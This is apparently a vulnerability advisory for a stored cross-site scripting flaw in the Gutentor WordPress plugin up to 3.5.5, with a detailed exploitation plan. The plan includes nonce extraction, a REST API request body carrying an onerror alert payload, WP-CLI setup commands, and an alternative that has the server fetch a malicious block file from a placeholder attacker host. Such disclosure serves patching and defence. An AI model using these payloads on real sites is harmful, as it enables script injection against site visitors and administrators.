Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTML
Description
The Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.5.6
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentor – Gutenberg Blocks** plugin (<= 3.5.5). ### 1. Vulnerability Summary The Gutentor plugin allows authenticated users (Contributor level and above) to create posts using Gutentor-speci…
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor – Gutenberg Blocks plugin (<= 3.5.5).
1. Vulnerability Summary
The Gutentor plugin allows authenticated users (Contributor level and above) to create posts using Gutentor-specific Gutenberg blocks. Several of these blocks allow users to customize the HTML tags used for various elements (e.g., wrapper tags, title tags). In version 3.5.5, the plugin fails to consistently apply sanitization functions like gutentor_get_title_tag() or gutentor_get_module_tag() (defined in includes/functions/sanitize.php) within the PHP render_callback functions of all blocks. An attacker can supply a malicious HTML tag or a tag name followed by an attribute breakout as a block attribute, leading to stored XSS when the post is viewed.
2. Attack Vector Analysis
- Endpoint: WordPress REST API for posts (
/wp-json/wp/v2/posts/{id}). - Action: Updating a post's content (
post_content) to include a Gutentor block with a malicious attribute. - Authentication: Required (Contributor role or higher). Contributors have the
edit_postscapability. - Payload Location: Inside the Gutenberg block comment delimiter as a JSON attribute (e.g.,
titleTag,wrapperTag, orelementTag). - Target Blocks: Likely candidates include
gutentor/accordion,gutentor/advanced-list,gutentor/icon, orgutentor/counter.
3. Code Flow
- Entry Point: A Contributor user sends a REST API request to update a post. The
post_contentcontains Gutentor block markup:<!-- wp:gutentor/accordion {"titleTag": "PAYLOAD"} -->...<!-- /wp:gutentor/accordion -->. - Storage: WordPress saves the raw block markup into the
wp_poststable. - Sink: When a user views the post, the Gutenberg renderer identifies the block and calls the associated PHP
render_callbackfunction for the Gutentor block. - Vulnerable Path: The
render_callbackextracts the attribute (e.g.,$attributes['titleTag']) and echoes it directly into the HTML without passing it throughgutentor_get_title_tag().- Example Vulnerable Logic:
echo '<' . $attributes['titleTag'] . ' class="...">'; - Bypass: If the attribute is
img src=x onerror=alert(1), the output becomes<img src=x onerror=alert(1) class="...">.
- Example Vulnerable Logic:
4. Nonce Acquisition Strategy
To interact with the WordPress REST API, a valid wp_rest nonce is required in the X-WP-Nonce header.
- Preparation: Create a page with any Gutentor block to ensure scripts are loaded (though the standard editor nonce is usually sufficient).
- Navigation: Use
browser_navigateto go to the WordPress Dashboard (/wp-admin/index.php) as the Contributor user. - Extraction: Use
browser_evalto extract the REST API nonce from the globalwpApiSettingsobject.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Verification: Confirm the nonce is a 10-character alphanumeric string.
5. Exploitation Strategy
We will target a common Gutentor block and attempt to inject an XSS payload via a tag attribute.
- Authenticate: Log in as a user with the Contributor role.
- Obtain Nonce: Extract the
wp_restnonce using the strategy above. - Identify Post: Create a new post or use an existing one belonging to the contributor.
- Send Update Request: Send a
POSTrequest to/wp-json/wp/v2/posts/{id}.- Header:
X-WP-Nonce: [EXTRACTED_NONCE] - Content-Type:
application/json - Body:
{ "content": "<!-- wp:gutentor/accordion {\"titleTag\":\"img src=x onerror=alert(document.domain) \"} /-->" } - Alternative Block: If
gutentor/accordionis patched or not installed, trygutentor/advanced-listwith the attributeelementTag.
- Header:
- Trigger: Navigate to the published post's URL in the browser (ideally as an Administrator).
6. Test Data Setup
- Contributor User: Create a user with the username
attackerand rolecontributor. - Target Post:
wp post create --post_type=post --post_status=publish --post_title='Gutentor Test' --post_author=$(wp user get attacker --field=ID) - Plugin Check: Ensure Gutentor is active and version is <= 3.5.5.
wp plugin get gutentor --field=version
7. Expected Results
- The REST API should return a
200 OKresponse confirming the post was updated. - The
post_contentin the database will contain the malicious Gutentor block JSON. - When viewing the post, the HTML source should contain
<img src=x onerror=alert(document.domain) ...instead of a standard tag like<h3>. - An alert box with the document domain should appear in the browser.
8. Verification Steps
- Check Database:
Confirm the payload is stored exactly as sent.wp db query "SELECT post_content FROM wp_posts WHERE post_title='Gutentor Test'" - Check Output:
# Use http_request to fetch the post and check for the payload # Expected: <img src=x onerror=alert(document.domain)
9. Alternative Approaches
- SVG Vector: If tag attributes are sanitized, check if the SVG feature is vulnerable. Gutentor has a
gutentor_esc_svgfunction inincludes/functions/sanitize.php. An attacker could try to inject an SVG block with a payload that bypasses this filter, such as using thestyleattribute (which is allowed) with a legacy XSS vector or nested tags. - Template Import: Use the REST route
/wp-json/gutentor-advanced-import/v1/import_template?url=http://[ATTACKER_IP]/malicious.json. This route is available to Contributors and fetches external JSON. An attacker could host a malicious block configuration here to bypass client-side validation in the editor.- Payload for
malicious.json:{ "post_content": "<!-- wp:gutentor/accordion {\"titleTag\":\"script>alert(1)</script\"} /-->" } - The Contributor calls the API, and the server fetches the malicious block content, which is then returned to the editor and can be saved to the post.
- Payload for
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.